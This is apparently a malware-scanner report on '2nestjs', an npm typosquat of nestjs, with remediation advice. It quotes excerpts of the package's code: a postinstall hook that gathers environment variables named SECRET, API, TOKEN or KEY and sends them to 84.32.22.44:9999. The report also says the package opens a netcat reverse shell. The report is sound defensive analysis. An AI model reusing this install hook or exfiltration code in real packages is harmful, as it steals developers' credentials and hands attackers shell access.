registry / Install hook abuse / 2nestjs
2nestjs
Typosquat of nestjs
This report shows the evidence for 2nestjs@0.0.1, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis package contains a complete automatic install-time chain for secret exfiltration and remote shell access. The behavior is malicious and requires blocking.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Installing the package runs its postinstall hook.
Impact
An attacker can receive sensitive environment values and obtain a shell on the installing machine.
Mechanism
Environment-secret exfiltration and netcat reverse-shell execution.
Attack narrative
npm runs the package postinstall hook, which executes index.js. The script loads a bundled remote server address, selects likely secret-bearing environment variables, and writes them to a TCP connection. It then invokes netcat with the -e option to connect a shell to the same host and port. The package metadata also identifies it as a nestjs typosquat.
AI rationale
This package contains a complete automatic install-time chain for secret exfiltration and remote shell access. The behavior is malicious and requires blocking.
Evidence
package.jsonindex.jsservers.json
Network endpoints1
84.32.22.44:9999
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs index.js during package installation.
- The entry script collects environment variables whose names begin with SECRET, API, TOKEN, or KEY.
- The bundled server configuration names 84.32.22.44 on port 9999.
- The script sends collected values over a network socket and invokes netcat with a shell.
- The manifest explicitly describes the package as a typosquat of nestjs.
Evidence against
Behavioral surface
ChildProcessEnvironmentVarsFilesystem
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node index.js",
"start": "node index.js"
}
High
Suspicious Lifecycle Evidence
The postinstall hook automatically runs index.js during package installation.
package.jsonView on unpkg · L6index.jsView file
2const os = require('os');
L3: const net = require('net');
L4: const { exec } = require('child_process');
L5:
...
L7: try {
L8: servers = JSON.parse(fs.readFileSync('./servers.json'));
L9: } catch (e) {
...
L13: const envs = {};
L14: for (const key of Object.keys(process.env)) {
L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key];
...
L23: const client = net.createConnection({ host, port }, () => {
L24: client.write(JSON.stringify(envs));
Critical
Reverse Shell
Source matches reverse-shell style process and socket wiring.
index.jsView on unpkg · L22Trigger-reachable chain: scripts.postinstall -> index.js
L2: const os = require('os');
L3: const net = require('net');
L4: const { exec } = require('child_process');
L5:
...
L7: try {
L8: servers = JSON.parse(fs.readFileSync('./servers.json'));
L9: } catch (e) {
...
L13: const envs = {};
L14: for (const key of Object.keys(process.env)) {
L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key];
...
L23: const client = net.createConnection({ host, port }, () => {
L24: client.write(JSON.stringify(envs));
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L23const net = require('net');
L4: const { exec } = require('child_process');
L5:
High
2const os = require('os');
L3: const net = require('net');
L4: const { exec } = require('child_process');
L5:
...
L13: const envs = {};
L14: for (const key of Object.keys(process.env)) {
L15: if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key];
High
Same File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
index.jsView on unpkg · L213const envs = {};
for (const key of Object.keys(process.env)) {
if (/^(SECRET|API|TOKEN|KEY)/.test(key)) envs[key] = process.env[key];
}
console.log('[typosquat] exfiltrating:', envs);
High
Ai Review Evidence
The entry script collects environment variables whose names begin with SECRET, API, TOKEN, or KEY.
index.jsView on unpkg · L13servers.jsonView file
1[
{"host": "84.32.22.44", "port": 9999, "region": "vps"}
]
High
Ai Review Evidence
The bundled server configuration names 84.32.22.44 on port 9999.
servers.jsonView on unpkg · L1Findings
2 Critical6 High2 Medium2 Low
CriticalReverse Shellindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processindex.js
HighSame File Env Network Executionindex.js
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceservers.json
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
Affected versions and remediation
This report applies to 2nestjs@0.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing 2nestjs@0.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.